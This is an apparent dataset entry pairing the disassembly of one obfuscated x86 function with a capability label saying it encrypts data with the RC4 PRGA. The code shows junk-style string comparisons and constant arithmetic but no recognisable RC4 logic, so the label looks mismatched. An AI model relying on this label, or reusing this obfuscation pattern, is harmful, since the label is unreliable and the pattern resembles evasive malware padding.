Function at 0x1002470c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
push esi
push edi
push 0xb
pop ecx
mov esi, str.0_0_0_0_0004080_0_0D0H0L0P0T0X00_0h0l0t0x0
lea edi, [ebp - 0x4c]
rep movsd dword es:[edi], dword [esi]
xor edx, edx
mov eax, edx
movsb byte es:[edi], byte [esi]
cmp byte [ebp - 0x4c], 0x36
mov esi, dword [0x1004033c]
mov dword [ebp - 8], esi
jne 0x10024762
mov cl, 0x36
test cl, cl
je 0x1002474f
cmp byte [ebp + eax - 0x4c], dl
je 0x1002474f
mov cl, byte [eax + 0x1003c071]
inc eax
cmp cl, byte [ebp + eax - 0x4c]
je 0x10024738
cmp dword [ebp - 8], eax
jae 0x10024762
imul ebx, esi, 0x631d4152
mov dword [0x100402f8], ebx
jmp 0x10024768
mov ebx, dword [0x100402f8]
mov eax, edx
inc eax
cmp byte [eax + str.MacBengali], dl
jne 0x1002476a
cmp dword [ebp - 8], eax
jae 0x10024786
lea ecx, [esi - 0x14cbc924]
mov dword [0x1004038c], ecx
jmp 0x1002478c
mov ecx, dword [0x1004038c]
mov eax, ebx
mov esi, edx
or eax, 0x1d0cd030
add eax, 0x3e22deaf
add eax, 0x37340b81
inc esi
cmp word [esi*2 + str.CB_GETITEMDATA], dx
jne 0x1002479a
cmp esi, 0x10b8
jae 0x100247c0
sub ecx, 0x4e86c8b7
mov dword [0x1004038c], ecx
jmp 0x100247c8
add eax, 0x47c7a0e3
mov dword [ebp - 8], eax
mov esi, str.Start_winbio
lea edi, [ebp - 0x18]
mov eax, edx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
cmp byte [ebp - 0x18], 0x37
jne 0x1002482e
mov ebx, dword [0x100402f8]
mov byte [ebp - 1], 0x37
mov dl, byte [ebp - 1]
test dl, dl
je 0x10024801
cmp byte [ebp + eax - 0x18], 0
je 0x10024801
mov dl, byte [eax + 0x1003baa1]
inc eax
cmp dl, byte [ebp + eax - 0x18]
je 0x100247e9
mov esi, dword [ebp - 8]
push 0
pop edx
cmp esi, eax
jae 0x1002482e
mov edi, dword [ebp - 8]
add edi, 0x55b624a
cmp esi, 0x244b
cmove ecx, edi
add edi, 0x22c7f804
inc esi
cmp esi, eax
jb 0x10024814
mov dword [0x1004038c], ecx
mov eax, ebx
lea edi, [ebp - 0x6c]
xor eax, 0x18d58dfd
mov esi, str.Apple_Application_Supportplutil.exe
mov dword [0x1004033c], eax
imul eax, ecx, 0x29383f43
push 0x14
pop ecx
rep movsd dword es:[edi], dword [esi]
mov dword [0x100403cc], eax
mov eax, ebx
and eax, 0xb65c71df
push 0x32
pop ecx
mov dword [0x10040378], eax
mov eax, edx
cmp cx, word [ebp - 0x6c]
jne 0x10024895
mov ebx, edx
test cx, cx
je 0x10024889
cmp word [ebp + eax - 0x6c], dx
je 0x10024889
inc ebx
lea eax, [ebx + ebx]
movzx ecx, word [eax + str.241106235959Z0f1]
cmp cx, word [ebp + eax - 0x6c]
je 0x1002486b
mov dword [ebp - 8], ebx
mov ebx, dword [0x100402f8]
mov eax, dword [ebp - 8]
movzx ecx, byte [eax*2 + str.241106235959Z0f1]
movzx eax, byte [ebp + eax*2 - 0x6c]
sub ecx, eax
cmp ecx, 0x3d4
jae 0x100248b8
add dword [0x10040378], 0x64d7d773
jmp 0x100248c4
and ebx, 0xb7541718
mov dword [0x100402f8], ebx
mov esi, str.cbc_error_enc100
lea edi, [ebp - 0x1c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
cmp byte [ebp - 0x1c], 0x36
jne 0x100248f2
push 0x36
pop eax
test al, al
je 0x100248f2
cmp byte [ebp + edx - 0x1c], 0
je 0x100248f2
mov al, byte [edx + 0x1003c071]
inc edx
cmp al, byte [ebp + edx - 0x1c]
je 0x100248da
movzx ecx, byte [edx + str.6_t7F7X7q77]
movzx eax, byte [ebp + edx - 0x1c]
sub ecx, eax
cmp ecx, 0x12f6
jbe 0x1002491c
mov ebx, dword [0x10040378]
add ebx, 0xac3117fd
mov dword [0x100402f8], ebx
jmp 0x1002492e
mov ecx, dword [0x100403cc]
add ecx, 0xb5dab9e2
mov dword [0x10040378], ecx
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret